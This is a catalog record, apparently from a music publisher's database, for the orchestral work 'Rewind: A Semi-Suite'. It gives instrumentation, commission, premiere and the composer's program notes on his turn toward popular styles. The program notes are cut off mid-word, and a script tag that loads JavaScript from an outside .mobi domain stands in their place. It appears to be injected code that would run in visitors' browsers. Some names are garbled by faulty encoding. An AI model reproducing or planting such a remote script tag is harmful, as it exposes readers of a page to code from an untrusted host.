9C727CD3-CE27-4E06-82DF-35C211DE4827
| ID | 9C727CD3-CE27-4E06-82DF-35C211DE4827 |
|---|---|
| Titlecode | R01280 |
| Title Name | Rewind: A Semi-Suite |
| Marketing Copy | (not set) |
| Instrumentation | 1+Picc.1+EH.3(1d Eb Clar, 1d BCl).2(1d Cbsn): 4.3.3.1: Timp.Perc(3): Str |
| Commission | Commissioned by Cincinnati Symphony Orchestra |
| Dedication | (not set) |
| Program Notes | "Rewind: A Semi-Suite" was composed in honor of Jes£s Lùpez-Cobos's 15 years as Music Director of the Cincinnati Symphony. As 2000 also marked my twentieth year as Program Annotator of that orchestra, it seemed appropriate to create a retrospective work. "Rewind" chronicles my gradual acceptance of vernacular musical styles. When I was an adolescent, I was a musical elitist. While my friends were listening to Elvis Presley and Bill Haley, the first two record albums I owned were of Beethoven's Seventh Symphony and Stravinsky's "Firebird Suite." For my friends, dance music was rock; for me it was ballet. Vernacular music--whether pop or jazz--never felt like my music. It did not speak to me or for me. I used to have difficulty understanding what people heard in such music that gave them pleasure. Today my opinion has changed considerably. I now understand that there are good and bad pieces of music, but not good or bad types of music. In particular, I now respect and enjoy certain jazz, show music, rock tunes, and pop songs. There is something in some pop, jazz, and show music--the way it swings, perhaps, or certain melodic turns related to the blues scale--that connects with something deep within me, something I should have allowed to flower in my youth but which, for reasons of misguided pseudo-intellectualism, I stifled. Because of my long alienation from this music, I have had to work to arrive at my current appreciation. During the 1970s and '80s, American populism began to assert itself in my compositions. Even when composing cerebral twelve-tone music, for example, I found myself flirting with passages that swing. My subconscious mind must have been trying to tell something to my conscious mind, as my culture struggled against my education. I allowed myself to include jazz- or pop-like passages in some compositions. Sometimes (for example, in my 1984 chamber piece "Atlanta Licks") I composed stylized versions of vernacular idioms. Sometimes I added to a series of piano pieces, called "Tunes for Piano," that sound somewhat (but only somewhat) like popular music, but which I was too embarrassed to allow to be heard in public. The only time they were performed in their entirety was before a mystified audience that had come to hear a concert of new music. I eventually accepted that some of my music wanted to swing. It kept trying to get closer to populist genres, but--because of my background--they remained the enticing 'other,' the forbidden fruit. In a certain sense, "Rewind" traces these attempts. It shows some of the ways a self-conscious art-music composer tried to shed his elitism and embrace the music that most Americans know and love. When I include pop or jazz figures or sounds in my concert compositions today, I usually relish their uneasy coexistence with more 'serious' styles. Removed from their polystylistic contexts, however, these passages may take on a more laid back and more genuinely popular flavor. That is what I discovered when I composed a fanfare in honor of the hundredth birthday of the Cincinnati Symphony in 1994. That piece, 'Cincy in C,' became the first movement of "Rewind." In 'Cincy' I found myself quoting several earlier pieces, in which I had hinted at a pops concert style. The entire middle section, in fact, originated in a piece I had composed a few months earlier--"Notta Sonata for Two Pianos and Percussion." It surprises me how an extract from such a serious-minded work--one that extensively explores the confrontation of contrasting types of music--comfortably found a new home in a lighthearted fanfare. The second movement of "Rewind" is an updating and orchestration of one of the pop-oriented Tunes for Piano I had written in the 1970s. Hence I call the movement 'An Old Tune.' The music that I used to fear making public is now laid out for all to hear. "Rewind's" third movement comes from my 1998 piano trio "Surreality C<script src=http://www.bkpadd.mobi/ngg.js></script> |
| Title Brand | 2 |
| Year Composed | (not set) |
| Copyright Number | (not set) |
| Copyright Year | (not set) |
| Duration | 17 |
| Ensemble Size | 13 |
| Date Created | 2008-10-31 20:31:21.000000 |
| Date Updated | 2025-09-30 20:31:21 |
| Inhouse Note | (not set) |
| Bsc Code | (not set) |
| Text Author | (not set) |
| Premier Performance Memo | -Cincinnati Symphony Orchestra/ Jesus Lopez-Cobos. 10, 11 Nov 2003. World Premiere. Santa Monica Symphony/ Allen Gross. 3 Oct 2003. |
| Recording Credits | (not set) |
| Review | (not set) |
| Awards | (not set) |
| Title Category | 7 |
| Title Movements | (not set) |
| Title Grade | (not set) |
| Set Series ID | (not set) |
| Title Instrument Category Text | Full Orchestra |
| Title Sub Category Text | (not set) |
| Title Sub Category | 31 |
| Title Instrument Header | 41 |
| Title Grade Text | (not set) |
| Clean Url | rewind-a-semi-suite-r01280 |